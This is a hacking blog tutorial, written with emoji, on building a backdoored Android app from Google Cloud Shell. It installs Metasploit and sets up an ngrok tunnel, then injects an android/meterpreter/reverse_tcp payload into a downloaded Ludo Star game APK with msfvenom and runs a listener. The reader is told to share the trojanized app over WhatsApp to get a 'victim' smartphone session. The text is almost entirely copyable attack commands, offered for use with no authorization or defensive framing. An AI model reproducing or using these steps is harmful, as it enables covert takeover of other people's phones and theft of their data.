Hey Folks, in this tutorial we are going to discuss about another topic related to google cloud shell. Letβs talk straight away π !! As you know that to access any android device, we need to take meterpreter session through the kali Linux operating system or any other. But suppose you are going to roam somewhere outside, where you only have an internet connection and you have to access an android device then what would you do in that case. Wait π !! In this tutorial we will show you that how we can access any android device over the wan network without having kali linux machine through the google cloud shell.
Lets take a look π !!
As we know that βCloud Shell service provides us command-line to access cloud resources directly from browserβ. You can visit from here. Cloud shell interface looks like the image below after login.
We have to configure the metasploit framework for this purposes using the following command. First we execute the curl command to download the script, allow the executable to βmsfinstallβ and execute it via the bash command and thatβs it our Metasploit Framework has successfully configured.
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo bash msfinstall
Lets download the dependencies one by one and first we will download the leading tool called βapktoolβ. it will compile and decompile the apk files.
sudo apt install apktool
Zipalign is an archive tool that provides important optimization to Android application files but make sure it must only be performed before the APK file has been signed.
sudo apt install zipalign
JAR Signing and Verification Tool use to sign JAR files and time stamp the signature. we use Java JDK 8 by default, but after executing the following command it will give us two options in which we have to select Java JDK 11.
update-alternatives --config java
It is not difficult to download any application through the wget command, just you have to enter the URL of the APK file after the βNβ parameter. If you do not understand then you can use the same application using the following command.
wget -N http://sirius.androidapks.com/siriusdata/0eb874e44e82f9d0a40e43a923eb88de/com.superking.ludo.star_v1.0.24-24_Android-4.0.3.apk
We will need a public IP address that we can get from the ngrok service. Use the wget command to download it and unzip it after downloading is done.
wget -N https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
Now it is up to you which port you have chosen. After selecting the port, combine it with the following command and execute it. In our case we select the port 4444. But after execute the command you will be get the public IP and Port, where in the highlight text the public IP and public port have combine with own. Keep the port with you and copy the require text.
./ngrok tcp 4444
Paste on another terminal and execute it with ping command,. After do it you will be get the public IP address which you can use to take meterpreter session over the wan network. Now you have both public IP address and Port.
Itβs time to inject the malicious payload into an original application file. Just copy the command below, modify according to yourself and execute it.
mv com.superking.ludo.star_v1.0.24-24_Android-4.0.3.apk ludostar_v35.apk
msfvenom -x ludostar_v35.apk -p android/meterpreter/reverse_tcp lhost=3.134.39.220 lport=10525 -o ludo.apk
Relax π !! You do not need to do much because you can download your payload from here and share it through WhatsApp or any other services.
This is only the last stage in which we have to start a multi-handler to catch the meterpreter session.
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit
WOW π !! Itsβs really amazing and as you can see that through cloud services we have taken the meterpreter session of the victim smartphone over the wan network (remotely) even without any operating system.
A keen learner and passionate IT student. He has done Web designing, CCNA, RedHat, Ethical hacking, Network & web penetration testing. Currently, he is completing his graduation and learning about Red teaming, CTF challenges & Blue teaming.
The gau (Get All URLs) tool is a versatile open-source utility that collects URLs from…
Jsluice++ is a Burp Suite extension designed for passive and active scanning of JavaScript traffic…
Hey Folks :) !! In this tutorial, we will describe some of the techniques commonly…
Hey Folks :) !! In this article, we present the "Termux Cheat Sheet for Hackers"…
Amid the rapid advancement of technology, the significance of human involvement in cybersecurity frequently goes…
Hey Folks, we are back today after such a long break, but don't worry we…
This website uses cookies.